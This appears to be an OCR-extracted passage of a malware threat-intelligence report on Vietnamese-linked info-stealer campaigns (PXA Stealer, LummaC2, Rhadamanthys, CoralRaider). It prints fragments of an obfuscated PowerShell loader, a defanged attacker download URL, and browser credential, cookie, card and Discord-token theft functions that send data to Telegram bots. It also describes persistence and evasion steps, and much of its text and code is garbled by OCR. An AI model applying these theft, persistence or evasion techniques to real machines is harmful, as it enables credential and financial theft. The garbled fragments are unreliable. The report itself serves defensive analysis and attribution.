1V1qFiktgevqta( [Ulauvgo.K1Q1.R1cvi]: :Elqodkpg ( [Ulauvgo.K101.R1cvi]:: T1guVigorRicyj (), 'G1C1pNIlczWIMicK1.bkr'),
$fuv) | powershellExec
gejq $u = $rAPPDAtA:~-9, lanqcf = "CODE_LOADER";$obj = P1gy-Q1PuBLic:~11, 1lgev -
E1qoQ1PublIc:~11, 1lgev YIDrivERdaTa:~11, letkrv.Uljgnn;$nkpm =
$adl.EltgcvgdRiveRdatA:~11,  1jqtvewv("$gpx:N1Q1EICINICIRIRIFICIVICINY1kpfayuUlgewtkvdriveRdatA:~12,
1.npn"); $nkpm. Y1kpfayUlvang = 7;$nkpm. TMp:~—4, 1ctigvRlcyj =

"$gpx :N1KDOT:~20, 1E1CINICIRIRIF1CIVICI\GIC 1pN1cZWIMIcKI\uapcrvkeu. gzg" ; Snkpm. KleqpNlgecvkqcoMMOnpRoGrANFI leS :~v—
7, 1 = "ElprograAnfiles(x86):~1, 1\Rltqitco Hikngu

(286) \KDOT: ~44, 1ketqughv\G1fig\C1rrnKDOT:~2,1L0CalAPPdATA:~-3, 1cvkap\oCOMMONPROGRaEA32:~-1,
19fig.TMp:n-3, 1PrOgRalFiles (x86) :~18,

10.13": énkon.C1tiwonuBlic:n=10. 1commonnroGrAnFT1Es (xA6):~"7. Iy = Ve

The batch scripts execute PowerShell commands simultaneously, performing the following activities on the victim machine:

* Opens a decoy PDF document of a Glassdoor job application form.

» Downloads a portable Python 3.10 package archive masquerading as ‘synaptics.zip’, which is hosted on the
attacker-controlled domain through the hard-coded URL ‘hxxps[://]tvdseo[.]com/file/synaptics[.]zip’, and saves it in
the user profile’s temporary folder as well as in the public user’s folder with random file names and extracts them.
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* Creates and runs a Windows shortcut file with the file name ‘WindowsSecurity.Ink’, configuring a base64-encoded
command as a command-line argument in the user profile’s temporary folder and configures the ‘Run’ registry key
with the path of the shortcut file to establish persistence.

» With a single-line Python script using a disguised portable Python executable, the Windows shortcut file downloads a
Base64-encoded Python program from a remote server. The downloaded program contains instructions to disable
anti-virus programs on the victim’s machine.

* The batch script continues to execute another PowerShell command that downloads the PXA Stealer Python program
and executes it with the masqueraded portable Python executable ‘synaptics.exe’ on the victim’s machine.

* Another batch script, called ‘“WindowsSecurity.bat’, is dropped in the Windows startup folder of the victim’s
machine to establish persistence, which has the command to download and execute the PXA Stealer Python
program.

PXA Stealer targets victims’ sensitive data
PXA Stealer is a Python program that has extensive capabilities targeting a variety of data on the victim’s machine.

When PXA Stealer is executed, it kills a variety of processes from a hard-coded list, including endpoint detection software,
network capture and analysis processes, VPN software, cryptocurrency wallet applications, file transfer client applications,
and web browser and instant messaging application processes, by executing ‘task kill”’ commands.

14

Figure 24: Detection evasive function of PXA Stealer.

The stealer has the capability of decrypting the browser master key, which is a cryptographic key used by web browsers
like Google Chrome and other Chromium-based browsers to protect sensitive information, including stored passwords,
cookies, and other data in an encrypted form on the local system. The stealer accesses the master key file ‘Local State’
located in the browser folder of the user’s profile directory, which contains the information of the encryption key used to
encrypt the user data stored in the ‘Login Data’ file, and decrypts it using the ‘CryptUnprotectData’ function. This allows
the attacker to gain access to the stored credentials and other sensitive browser information.
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(path):

open( ing="utf

¢ = . )
FileNotFoundError:

Figure 25: Browser master key decryption function of PXA Stealer.

The stealer also attempts to decrypt the master key that is stored in the key4.db file. Key4.db is a database used by Firefox
(and some other Mozilla-based browsers) to store encryption keys, particularly the master key that encrypts sensitive data,
such as saved passwords. The ‘getKey’ function of the stealer is designed to extract and decrypt keys from the key4.db file
using either AES or 3DES encryption methods, depending on the encryption used in the stored key.

irectory:
dbfile: Path = y \
conn = sqli 8 (dbfile)
c = conn.
( iteml, item2 F metadata;")
next(
obalSalt, item2 row

codedItem2, _ = decode(item2)
encryption_method

row = next(c)
02

aAl11[el[1][e].
ledA11[1]. &
alt, mas

Figure 26: PXA Stealer's browser master key decryption function.

The stealer attempts to retrieve user profile paths from the profiles.ini file of browser applications, including Mozilla
Firefox, Pale Moon, SeaMonkey, Waterfox, Mercury, k-Melon, IceDragon, Cyberfox and BlackHaw for further processing,
such as extracting saved passwords or other user data.
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profiles_path =
open(profiles_path,
d ata f

profi

Figure 27: PXA Stealer gets user profiles from browsers’base paths.

The stealer collects the victim’s login information from the browser’s login data file. The stealer’s ‘get ch login data’
function extracts login data, including URLs, usernames and passwords, from the ‘login_db’ database, which stores login
information. The extracted login information is formatted into a string that includes the URL, username, decrypted
password, browser and profile.

For each login entry in the browser login database, the function checks if the URL contains any important keywords that
are hard coded in the stealer program, and if a match is found, the login information is saved in a separate file named
‘Important_Logins.txt’ located in the ‘Browsers Data’ folder within the user’s profile temporary directory. The function
saves all the results to ‘All_Passwords.txt’ in the ‘Browsers Data’ folder for other login data found in the database.

count = 0
login_d

loginf:

stname"], decodeL.
ile), encP

: {login[0]}
{login[2]} + b r_name} [Profile:
{profile_n

encoding="utf-¢

(f"URL:
{login[11}\nP ) cation:
{profile_na

count >

count

Figure 28: Login credentials stealer function of PXA Stealer.
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The stealer executes another function, ‘get_ch_cookies’, to extract cookies from a specified browser’s cookie database,
decrypt them, and save the results to a file. First, it checks if the cookies database file exists in the specified profile
directory and unlocks the cookies database file. The database file is then copied to the temporary folder and is processed by
executing an SQL query to retrieve cookie information, including host key, name, path, encrypted value, expiration time,
secure flag, and HTTP-only flag from the cookies database file.

If any Facebook cookies are found, they are concatenated to a single string called ‘fb_formatted’, and it calls another
function, ‘ADS_Checker()’, to check for ads based on the Facebook cookies, with the results being written to a file called
‘Facebook Cookies.txt’. Any other cookie information is written to a text file named after the browser and the profile.
Finally, the function removes the temporary cookie database file.

-ofile_name}.txt")

Figure 29: Browser cookies stealer function of PXA Stealer.

Another sample of the stealer downloads and executes a cookie stealer JavaScript through the URL ‘hxxps://tvdseo[.]com/
file/PXA/Cookie Ext.zip’ for the browsers Chrome, Chrome SxS, and Chrome(x86). The cookie stealer JavaScript connects
to the Telegram bot with the token, and the chat ID hard coded in the script collects the cookies and sends them to the
attacker’s Telegram bot through the POST method (see Figure 30).

Next, the stealer targets the victim’s credit card information stored in the browser database ‘webappsstore.sqlite’. The
function extracts and decrypts saved credit card information from a browser’s web data database. It checks if the cards
database file ‘cards_db’ exists and copies it to the user profile’s temporary folder. It executes an SQL query to retrieve
credit card information including name on card, expiration month/year, encrypted card number, and date modified. Then it
decrypts the encrypted card number using the function ‘decrypt_ch_value’ with the help of the decrypted master key. It
writes the card information to a text file and names it after the browser and the profile. Finally, it gets the count of credit
card information that was found and deletes the temporary copy of the ‘cards_db’ file.

17
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nse = etch("https
Error("Failed to

chrome.

Blob( [

FormData();

$1TELEGRAM_BOT_TOKEN;/sendDocument?chat_1d=$%{CHAT_ID

ponse = r
ata = §
t )

Error{ Faile

rror = console.

ow[3]:

, ch_master_key)
r: fcard_number}\r

Figure 31: PXA Stealer s credit card data stealer function.

The stealer extracts and saves the autofill form data from a browser’s database to a text file with the file name format
‘$browser_$profile.txt’ in a folder called ‘ AutoFills’ in browser profile location.
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wtofill(br r, path, profile):

result
count = 0

0s. o (f"{path}\\{profile}\\Web Data"):
count
shutil. (f"{path}\\{profile Data", TMP+"\\autofi
qlite3. (TMP+ 1_db")

utofill")

result += f"Name: {row[0 value: {row[1l}\n
count += 1

5")
r}_{profile}.txt")
fs
conn.

os. (THP + "\
count

Figure 32: PXA Stealer s autofill data stealer function.

The stealer also extracts and validates Discord tokens stored in various browsers or Discord applications. It checks for
stored encrypted Discord tokens in the different browser database files as well as Discord-specific application files of
Discord, Discord Canary, Lightcord and Discord PTB on the victim’s machine by searching for strings using regular
expression "r"dQw4w9OWgXcQ: [ F\['(*)\].*$][M\"]*")". Once the encrypted tokens are found, it decrypts them with the
function ‘decrypt_dc_tokens()’ using the extracted master key that was used to encrypt the tokens from the ‘Local State’
file. Then, it validates each decrypted Discord token to check if it is legitimate and stores it by associating it with the
browser name. Besides searching for encrypted tokens, the function also looks for unencrypted Discord tokens by

searching strings that match the regular expression pattern ‘[\w-]{24}\.[\w-]{6}\.[\w-]{27}’ for standard tokens and ‘mfa\.

[\w-]{84}" for multi-factor authentication (MFA) tokens in ‘.log’ and .1db’ files in the levelDB directory of Discord
applications or web browsers where the structured key-value data is stored in levelDB database format.

Figure 33: PXA Stealer's Discord token stealer function.
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The stealer executes another function to extract the user information from the MinSoftware application database. It
searches for the ‘db_maxcare.sqlite’ database file in the victim machine folders, including Desktop, Documents,
Downloads, OneDrive and in the logical partitions with the drive letters ‘D:\’ and ‘E:\’. Once found, it executes an SQL
query to search in the accounts table of the database file and extracts the following data:

uid: user identifier

pass: user’s password

fa2: two-factor authentication data

email: the user’s email address

passmail: the email password

cookiel: likely a session or authentication cookie
token: likely an authentication token

info: account information

Figure 34: PXA Stealer’s MinSoftware application data stealer function.

The stealer also has functionalities for interacting with Facebook Ads Manager and Graph API using a session
authenticated via cookies.

It takes a Facebook cookie and parses it for the session information, such as ‘c_user’, and attempts to access the token.

It retrieves and formats the details about the user’s ad accounts, such as account status, currency, balance, spend cap,
and amount spent.

It gets a list of the user’s Facebook pages, including page name, link, likes, followers, and verification status.
It retrieves a list of groups with administrative users.

It extracts Business Manager IDs associated with the account and retrieves ad account information under each
Business Manager.

It uses Facebook data to determine ad account limits for a Business Manager.

It extracts the token from Facebook mobile pages to facilitate authentication requests.

Figure 35 shows PXA Stealer’s Facebook data stealer function.

After collecting the targeted victim’s data, including the login data, browser cookies, autofill information, credit card
details, Facebook ads account data, cryptocurrency wallet data, Discord token details, and MinSoftware application data,
the stealer creates a ZIP archive of all the files in the user profile’s temporary folder with the file name format
‘CountryCode_Victim’s public IP Computername.zip’, with a high compression level of value nine. Figure 36 shows the
PXA Stealer script embedded with the actor’s Telegram account.

While creating the archive and navigating the targeted folders, the stealer excludes some of the directories, including user
data, emoji, tdummy, dumps, webview, update-cache, GPUCache, DawnCache, temp, Code Cache, and Cache. It also
attempts to rename each file while adding them to the archive. The archive is exfiltrated to the actor’s Telegram bot. After
exfiltrating the victim’s data, the stealer deletes the folders that contained the collected user data. Figure 37 shows PXA
Stealer’s exfiltration function.
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Figure 37: PXA Stealer s exfiltration function.
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THREAT ACTORS USE COPYRIGHT INFRINGEMENT PHISHING LURE TO DEPLOY INFOSTEALERS

Talos observed a threat actor conducting a malicious phishing campaign targeting victims in Taiwan since at least July 2024.
The campaign specifically targets victims whose Facebook accounts are used for business or advertising purposes. The initial
vector of the campaign is a phishing email containing a malware download link. The phishing email uses traditional Chinese
in decoy templates and in the fake PDF files, suggesting that traditional Chinese speakers are the likely target.

The decoy email and fake PDF filenames are designed to impersonate a company’s legal department, attempting to lure the
victim into downloading and executing malware. Another observation was that the fake PDF malware uses the names of
well-known technology and media companies in Taiwan and Hong Kong. This provides strong evidence that the threat
actor conducted thorough research before launching this campaign.

Additionally, we observed two phishing emails masquerading as notices from a well-known industrial motor manufacturer
and a famous online shopping store in Taiwan. The emails claim that the company’s legal representatives have issued a
notice to a Facebook page administrator alleging copyright infringement due to the unauthorized use of their images and
videos for product promotion. The emails demand the removal of the infringing content within 24 hours, cessation of
further use without written permission, and warn of potential legal action and compensation claims for non-compliance.
Last but not least, from these two emails, we can easily see that the threat actor uses the same template with minor
modifications, such as changing the company name, legal department information, address, and website.

R HEFAEH
Erdab s MIBEARACE KPR 258 B G fF Facebook B 1 k462710380 (P RS Wl ) A T BT =
SRWE > RARBESIELEHMRFNE S FEH > £ FEYEES

A E T RO A A > GLBUR H RA0 17 By
B RAFTEORGHEMCRIMA 0609 24 /NFFR S BRI F 3606« -
1. WA S BV AT R PR RMR A F A+ BE480Y Facebook BT L - R EAEAEM 1 HL 0 T 1IN BLILA S IRIRFATNT & - (RBBSRAETS = 1 ) -

a2
2P0 ARAER T T RN T SRAERT AT AT SO «
R - MREE 24 NBATOTELER - o B
S RIAT IR D A » DU e LB R -
i 1142859

AT

Sdik:
#23 : hitps:/iwww com.twi/al

©2022 Corporation, fRE—JRER).

Figure 38: Phishing email impersonating a well-known industrial motor manufacturer.
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1. AT IRAT AR M A A E R TR - #4089 Facebook HELL - BADMEEMK
PREETARSLASNFEES - (REEEE. ).
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HER - MREE 24 NRATETELER - AURSEEREER - BMETEREDUE
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Figure 39: Phishing email impersonating a famous online shopping store.
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Attribution to a Vietnamese threat actor group

Talos observed an unknown image printing file within the encrypted archive, with the filename ‘Support’. Based on the file
name and file size, it is likely that all encrypted archives we found on VirusTotal, which we have not been able to decrypt,
contain the same EPS files inside.

Pivoting off the EPS file metadata and its preview image on a search engine, we found an identical image with the same
file name on a Vietnamese-language website. However, there is no strong evidence that it was created by an author from
that region.

=] support Eil

ZBOE B BRI = 2 EB)
*ADO DSC_Encoding: Windows Roman
F3:Title: Awesome Creative Food Festival Poster Template Ai.eps

%3iCreator: Adobe Illustrator(R) 23.0

%%For: RCER

%3CreationDate: 5/8/2023

FiBoundingBox: 0 0 1809 2363

%3HiResBoundingBox: 0 O 1808.6401 2362.9849

%3CropBox: 0 0 1808.6401 2362.9849

F3ilLanguagelevel: 2

11 %%DocumentData: CleanT7Bit

12 F4D0BeginClientInjection: DocumentHeader "ATI11EPS™

13 %ILIE CreatorVersion: 23.0.0

14 3AI9_PrintingDataBegin

15 3LDO BuildNumber: Adobe Illustrator(R) 23.0.0 %530 R agm 4.7767 ct 5.4352
16 TADC Contains¥MP: MainFirst

17 3417 Thumbnail: 100 128 8

%3iBeginData: 19342 Hex Bytes
%0000330000660000990000CC0O033000033330033660033990033CC0O033FF
F00660000663300666600669390066CCO00GEFFO09900009933009966009999

Az ! P5-Adobe-3.1 EPSF-3.0

=] ot s L R

(=R T= ]

oo

2

21 $0099CCO0SSFFOO0CCO000CC3300CC6600CC900CCCCO0CCFFO0FF3300FFa6
22 %*00FFS900FFCC3300003300333300663300993300CC3300FF333300333333
23 $3333663333993333CC3333FF336000336063333606063366993366CC3366FF
24 %33990035993533399663399993599CC3399FF33CC0033CC3333CCE6633CCR9
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Figure 40: Support EPS file metadata.
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Figure 41: The support EPS file preview image in this campaign (left) and the image we found from the internet (right).
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Actor infrastructure

The threat actor is abusing Google’s Appspot.com domains, a short URL and Dropbox service, to deliver an information
stealer onto the target’s machine. Appspot.com is a cloud computing platform for developing and hosting web
applications in Google-managed data centres. When the victim clicks on the download link, it initially connects to
Appspot.com, then redirects to a short URL created by a third-party service, and finally redirects to Dropbox to
download the malicious archive. The actor is using the third-party data storage service as a download server to deceive
network defenders.

s

AR A E AR IR A (BRI E T
PRt SR TR B R0 24 /NP 57 BIERER LA B8 -
o e BTG RRATIR MG RO K B AR 0 ARSBIY Facebook UL - RISELM M T HMELAFNHAER - (RBHEE: -

img.CTowud 30x20

..

245 LA MEE EF AT R T MR AT E A i -

Network  Performance Application ~ Security Lighthouse  Recorder Performance insights JU Adblock Plus

feredirecturl
HTn

Figure 42: Malware download link.

We also discovered that the actor is using multiple command-and-control domains in the campaign. The DNS requests for
the domains during our analysis period are shown in the graph in Figure 43, indicating that the campaign is ongoing.

C2 domain DNS requests

9/18/24 9/27 /24 9 1 24 0/ ( /24 10/12/24 10/15/24 10/

Figure 43: C2 domain DNS requests.

Malware infection summary

The infection chain begins with a phishing email containing a malicious download link. When the victim downloads the
malicious RAR file, they will need a specific password to extract it, revealing a fake PDF executable malware and an
image printing file. Once the malware is decrypted and the fake PDF executable is run, it will execute the embedded
LummaC2 or Rhadamanthys information stealer, which then collects the victim’s credentials and data, sending them back
to the C2 server.




VIETNAMESE HACKING GROUP: A RISING OF INFORMATION-STEALING...

Malware Infection Chain
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Figure 44: Infection summary diagram.

The malicious RAR file usually contains a fake PDF executable malware and an image printing file, but we observed a few
malicious RAR files that contain an additional DLL file. However, without the correct password, we are not able to extract
the malicious RAR file and analyse it.

C\Users\r0se_\Desktop\IMAGE COPYRIGHTED.rar\

File Edit View Favorites Tools Help

b = v o ow X i

Add Extract Test Copy Move Delete Info

¥ || &= C\Users\rOse_\Desktop\IMAGE COPYRIGHTED.rar\

Name Size  Packed Size Modified
EIMAGE COPYRIGHTED.exe | FODLBOD.  A3605H 0M0/-1790:16
D Support 142831022 86107040 2023-05-09 22:09

Figure 45: The RAR file contains a fake PDF and an image printing file.

C\Users\r0se_\Desktop\ZIP file\IMAGE COPYRIGHTED.rar\

File Edit View Favorites Tools Help

b = v oW o= X i

Add Extract Test Copy Move Delete Info

¥ I s Ch\Users\rOse_\Desktop\ZIP file\IMAGE COPYRIGHTED.rar\,

Name Size  Packed Size Modified

FWIMAGE COPYRIGHTED exe | Tiadi208 490224, 2020722006212
@ SensApidll 1993728 870832 2024-07-23 11:45
D Support 142 831 022 86 159808 2023-05-09 22:09

Figure 46: The RAR file contains a fake PDF, an image printing file, and additional DLL file.

The fake PDF executable malware variant was delivered as a payload in this campaign. This malware will embed
LummaC2 or Rhadamanthys information stealers into a legitimate binary such as iMazing Converter, foobar2000,
Punto Switcher, PDF Visual Repair, LedStatusApp or PrivacyEraser. Figure 47 shows the file details of the fake PDF
executable.
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e IMAGE COPYRIGHTED.exe Properties

General

Compatibility Security Details

Previous Versions

Property
Description
File description

Type

File version
Productname
Product version

Size
Date modified
Language

Value

Privacy Eraser
Application
6.9.0.4976
Privacy Eraser
6.9.0.4976

Copyright ® 2002-2024 Cyberron Software Co., Ltd. All ri...

6.67MB
7/17/2024 8:16 PM
English {United States)

Original flename PrivacyEraserexe

Figure 47: Fake PDF file detail information.

LummacC2 Stealer and its loader

LummaC2 Stealer is a type of malware designed to exfiltrate sensitive information from compromised systems [8]. It can
target system details, web browsers, cryptocurrency wallets, and browser extensions. Written in C, this malware is sold on
underground forums [6]. To avoid detection and analysis, it employs various obfuscation methods. The malware connects
to a C2 server to receive instructions and transmit the stolen data.

The loader for LummaC2 changes the execution flow of the binary malware, causing it to invoke an unknown library to
execute the malicious code functions. This strategic modification complicates detection and analysis efforts. Once these
malicious functions are invoked, the malware utilizes the CreateFileMappingA API to write the payload into a mapped
memory block, effectively hiding it within the system’s memory. After successfully mapping the payload, the malware then
executes it.

.text:@056F19A ; int _ cdecl Lummac2_point_function(int)
_text:0056F19A Lummac2_point_function proc near ; CODE XREF: sub_563783+5B1p
.text:0056F19A ; sub_569D29+2D1p ...
.text:0056F19A
_text:0056F19A arg @ = dword ptr 8
.text:0056F19A
~ . text:0056F19A push ebp
-text:0@56F19B mov ebp, esp
.text:0056F19D push [ebp+arg_@]
_text:0056F1A0 call unknown_libname_ 49 ; Microsoft VisualC 14/net runtime
.text:0056F1A5 pop ecx
_text:0056F1A6 pop ebp
_text:B@56F1A7 retn
.text:0056F1A7 Lummac2_point_function endp

Figure 48: Call to an unknown library to execute the malicious code functions.

When the malware begins executing the shellcode in memory, it first decrypts the second half of the program block, which
contains part of the shellcode loader and the LummaC2 malware execution file. Once the decryption is complete, it will
call the VirtualAllocate API to allocate a memory block, write the information stealer’s execution file to that block, and
then execute it.

eax=02D20000

O05E4F8A aa $1E4FBA #1E43BA

™ pump1 ™ pympa M pump3 pump4 ™ pumps @ watch1 Locals

BE |7

C
41
5C 4
2
E
E
E
13
E
k]

N. AL AF
J80B3xCAE

Figure 49: Jump code to shellcode block.
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04

02D203F5 OCFDFFFF
4 Db

70c4A349

B8 A349
6BE2 90

rd ptr

/ dword ptr

JNoN ~CI000AD

Figure 50: Encrypted shellcode (left) and decrypted shellcode (right).

We also collected all of LummaC2’s build IDs in this campaign; Figures 51 and 52 show screenshots of the LummaC2
stealer alert message box and its POST message.

r N |
Warning

‘ Do you want to run a malware?
(Crypt build to disable this message)

.
—

[, |

08 :
98030000 0B1E44( mov

00000000

Figure 52: POST message with act=life and url path /api.
Build ID:
+ sTDsFx--Socks
* iAIMAC--ghost

Rhadamanthys stealer and its loader

Rhadamanthys is a sophisticated information stealer that emerged in 2022 and is sold on underground forums [9, 10]. This
comprehensive stealer malware is capable of gathering system information, credentials, cryptocurrency wallets, browser
passwords, cookies and data from various other applications. It employs numerous anti-analysis techniques, complicating
analysis efforts and hindering its execution in sandbox environments.

We observed that the Rhadamanthys loader in this campaign contains 10 sections in its binary structure. Despite the presence
of multiple sections, the threat actor specifically targets the .rsrc section to insert the malicious code. This section is heavily
obfuscated to conceal the malicious activities and make analyses more challenging. The choice of the .rsrc section is strategic,
as it is typically associated with resource data like icons and menus, making it less likely to raise immediate suspicion.
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Narme Virtual Size Virtual Address | Raw Size Raw Address |Reloc Address |Linenumbers | Relocations ... | Linenumber... | Characteristics
Byte[8] Dword Dword Dword Dword Dword Dword Word Word Dword
JSext 000AS0ES 00001000 000AS200 Q0000400 00000000 Q0000000 0000 0000 00000020
Aitext 00001668 Q00ATDO0 00001300 Q00ASR00 00000000 Q0000000 0000 0000 00000020
.data 00003744 000AS000 00003300 Q00ASEDD 00000000 Q0000000 0000 0000 C0000040
.bss 00006773 000ADOOD 00000000 00000000 00000000 Q0000000 0ooo 0000 0000000
Jidata 00000F1C 000B4000 00001000 Q00AASDD 00000000 Q0000000 0000 0000 CO000040
Jdidata 00000144 00085000 00000200 Q00ABSOD 00000000 Q0000000 0000 0000 CO000040
.edata 00000034 000B5000 00000200 Q00ABS00D 00000000 Q0000000 0000 0000 40000040
Als 00000018 000B7000 00000000 00000000 00000000 Q0000000 0000 0000 C0000000
rdata 00000050 000B58000 00000200 O00ABADD 00000000 Q0000000 0ooo 0000 40000040
S 000FBD 34 00089000 00OFBEQD Q00ABCO0 00000000 Q0000000 0000 0000 40000040

Figure 53: The loader of Rhadamanthys binary structure sections.

After analysis, we discovered that the Rhadamanthys loader employs several sophisticated techniques to ensure its
persistence and evasion. Initially, the loader copies itself and writes the file to ‘C:\Users\[user|\Documents\lumuiUpdater\
ffUpdaar.exe’. In order to avoid detection by anti-virus programs and sandbox environments, it expands the file size to over
700 MB. This significant increase in file size is intended to bypass heuristic and signature-based detection mechanisms
commonly used by security products, which may struggle to process such large files effectively.

. 8955 DOEFFFFF mov dword ptr ss:[[ebp-1830],edx [dword ptr ss:[ebp-1830]]:Createlirectoryw

. &4 00 push 0

. BDBS BCCF7FFFF lea eax,dword ptr ss:[ebp-3874]

. {u} push eax

. FF95 DOE7FFFF 2l dword pir ss:[ebp-1830) [dword ptr ss:[ebp-1830]]:Createdirectoryw
> 8DE8D BCCFFFFF lea ecx,dword ptr ss:[ebp-2874]

L] 898D D4EFFFFF mov dword ptr ss:[ebp-182C],ecx

[ 57 push edi

. B1CF AA4C0100 or edi,lacas

. 81C7 4BEF0000 add edi,EF48

. 5F pop edi

. o d nush adi

ecx=22D30000
dword ptr ss:[ss:[ebp-3874]]=[00D2A564 L"C:‘\M\Users'\\yyds\‘\Documents'’\lumuiUpdater"]=3A0043

Figure 54: The loader copies itself to the lumuiUpdater folder.

Furthermore, the loader is configured to start automatically by modifying the Windows Registry. It writes an entry to ‘HKEY _
CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run’ and key name value ‘sausageLoop’, a registry key that
specifies programs to be launched during the system startup. This registry modification ensures that the malicious loader is
executed every time the victim’s computer restarts, thereby maintaining its persistence on the infected system.

&' Registry Editor
File Edit View Favorites Help

, NetCache ;I Name | Type | Data
) Polices k| (Default) REG_SZ (value not set)
, RADAR _| _ﬂﬂsausageLoop REG_SZ C:\User: Jocuments Yumuilpdater\ffpdaar.exe

\gF.un f_l_ﬂsimple Sticky Motes  REG_SZ C:\Program Files (x86)\Simnet\Simple Stidky Notes\ssn.exe

PR N I J RunOnce bl
4| | »

Computer\HKEY_CURRENT _USER\Software Microsoft\Windows\CurrentVersion\Run

Figure 55: The loader is configured to start automatically.

Finally, the loader executes the legitimate system process ‘%Systemroot%)\system32\dialer.exe’ and injects Rhadamanthys’
payload into it. This process injection technique allows the malware to run its malicious code within the context of a
legitimate system process, further evading detection. Additionally, it uses mutex objects to ensure that only one instance of
the malware runs on the infected host. Below is the list of mutex names we observed in this campaign, which has also been
disclosed in previous reporting by others:

* Global\MSCTF.Asm. {04fb3{26-9d18-66b5-6862-7b8a85e4b620}

* Session\1\MSCTF.Asm. {04fb3f26-9d18-66b5-6862-7b8a85e4b620}
* Session\2\MSCTF.Asm. {04fb326-9d18-66b5-6862-7b8a85e4b620}
+ Session\3\MSCTF.Asm. {04fb326-9d18-66b5-6862-7b8a85e4b620}
» Session\4\MSCTF.Asm. {04fb3£26-9d18-66b5-6862-7b8a85e4b620}
+ Session\5\MSCTF.Asm. {04fb3£26-9d18-66b5-6862-7b8a85e4b620}
* Session\6\MSCTF.Asm. {04fb3f26-9d18-66b5-6862-7b8a85e4b620}
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+ Session\7\MSCTF.Asm. {04fb3f26-9d18-66b5-6862-7b8a85e4b620}
* Session\8\MSCTF.Asm. {04fb3{26-9d18-66b5-6862-7b8a85e4b620}

VIETNAMESE THREAT ACTORS’ UNDERGROUND ACTIVITIES

The CoralRaider campaign utilized Telegram bots and multiple domains for command-and-control, along with CDN caches
to store malicious files and avoid detection, using the CDN as a deceptive download server in their campaigns.

We assess with high confidence that the CoralRaider operators are based in Vietnam, based on the messages in their
Telegram C2 bot channels and the language preference in naming their bots and PDB strings, as well as other Vietnamese
words hard coded in their payload binaries. The actor’s IP address is located in Hanoi, Vietnam.

The attacker used two Telegram bots: A ‘debug’ bot for debugging, and an ‘online’ bot where victim data was received.
However, a Desktop image in the ‘debug’ bot showed a similar Desktop and Telegram to the ‘online’ bot. This suggests that
the actor possibly infected their own environment while testing the bot.

14.225.210.98-Debug-Khue

" HWID: 357B430FBATBADBI3246 - USER: Admin - IP: 118.71.64.18 -
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= earc a
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Figure 56: Threat actor s Telegram environment.
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Analysing the images of the actor’s Desktop on the Telegram bot, we found a few Telegram groups in Vietnamese named
‘Kiém tien tir Facebook’, ‘Mua Ban Scan MINI’, and ‘Mua Ban Scan Meta’. Monitoring these groups revealed that they
were underground markets where, among other activities, victim data was traded.

In an image from the ‘debug bot’, we spotted the Windows device ID (HWID) and an IP address (118[.]71[.]64[.]118),
located in Hanoi, Vietnam, that is likely to be CoralRaider’s IP address.

Talos’ research uncovered two other images that revealed a few folders on the operators’ OneDrive. One of the folders had
the Vietnamese name ‘Bot Export Chién’, which is the same as the name of one of the folders in the PDB strings of the
loader component. Pivoting on the folder path in the PDB string, we discovered a few other PDB strings with similar paths
but different Vietnamese names. We analysed the discovered samples with the PDB strings and found they belong to the
same loader family, RotBot. The Vietnamese name in the PDB string of the loader binary further strengthens our
assessment that CoralRaider is of Vietnamese origin.

* D:\ROT\ROT\Build rot Export\2024\Bot Export Khué\14.225.210.XX-Khue-Ver 2.0\GPT\bin\Debug\
spoolsv.pdb

* D:\ROT\ROT\Build rot Export\2024\Bot Export Tri’\149.248.79.205 - NetFrame 4.5 Run DII - 2024\
ChromeCrashServices\obj\Debug\FirefoxCrashSevices.pdb

* D:\ROT\ROT\Build rot Export\2024\Bot Export Tri’\139.99.23.9-NetFrame4.5-Ver2.0-Trai\GPT\bin\Debug\
spoolsv.pdb

« D:\ROT\ROT\Build rot Export\2024\Bot Export Chién\14.225.210.XX-Chién -Ver 2.0\GPT\bin\Debug\
spoolsv.pdb

* D:\ROT\ROT\Build rot Export\2024\Bot Export Tri'\139.99.23.9-NetFrame4.5-Ver2.0-Tri\GPT\bin\Debug\
SkypeApp.pdb

+ D:\ROT\ROT\Build rot Export\2024\Bot Export Chién\14.225.210.XX-Chién -Ver 2.0\GPT\bin\Debug\
spoolsv.pdb

D:AROT\ROT\ROT Ver 5.5\Source\Encrypted\Ver 4.8 - Client Netframe 4.5\XClient\bin\Debug\AI.pdb
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Figure 57: A screenshot spotted in the actor’s Telegram environment.

Another image we analysed is an Excel spreadsheet that likely contained the victims’ data. We have redacted the images to
maintain confidentiality. The spreadsheet has several tabs in Vietnamese, and the English translation showed us the tabs
‘Employee salary spreadsheet’, ‘advertising costs’, ‘website to buy copies’, ‘PayPal related’ and ‘can use’. The spreadsheet
seemed to have multiple versions — the first was created on 10 May 2023. We also spotted that the user has logged into
their Microsoft Office 365 account with the display name ‘daloia krag’ while accessing the spreadsheet, and CoralRaider
likely operates the account.
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Figure 58: A screenshot spotted in the actor s Telegram environment.

Analysis of CoralRaider’s payload, XClient stealer, revealed a few more indicators — Vietnamese words had been hard
coded in several stealer functions of the payload.

Stealer functions map the victim’s stolen information to hard-coded Vietnamese words and write them to a text file in the
victim machine’s temporary folder before exfiltration. One example function we observed, which is used to steal the
victim’s Facebook Ads account, was hard coded with Vietnamese words for Account rights, Threshold, Spent, Time Zone,
and Date Created, etc.

Figure 59: A snippet of the XClient stealer binary showing the Vietnamese text.
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The PXA_BOT stealer campaign revealed that the attacker hosted malicious scripts and the stealer program on the domain
tvdseo[.]Jcom, which belongs to a Vietnamese SEO service provider, though it remains unclear if the domain was
compromised or legitimately accessed for malicious purposes. We identified the attacker’s Telegram account ‘Lone None’,
which was hard coded in the PXA Stealer program and analysed various details of the account, including the icon of
Vietnam’s national flag and a picture of the emblem for Vietnam’s Ministry of Public Security, which aligns with our
assessment that the attacker is of Vietnamese origin. Also, we found Vietnamese comments in the PXA Stealer program,
which further strengthened our assessment.

User Info

[#*]Lone None 2

http://avcheck.net/id/Fr4sje9akmvL

ADD TO CONTACTS

Notifications

SEND MESSAGE

Figure 60: Images of the actor s Telegram account ‘Lone None'.

The attacker’s Telegram account has biography data that includes a link to a private anti-virus checker website that allows
users or buyers to assess the detection rate of a malware program.

This website provides a platform for potential threat actors to evaluate the effectiveness and stealth capabilities of the
malware before purchasing it, indicating a sophisticated level of service and professionalism in the threat actor’s
operations.

@ = avcheck.net/id/Frasje9akmyvL

vcheck.Net  Files

0.1$/file  Browse = Scan

File name Is hidden task id: FrasjegakmvL started: 2024-07-18 21:51 duration: 11 sec

File 1 (7.0 WB): clean mds:

a

Antivirus Result

Adaware Antivirus 12 clean
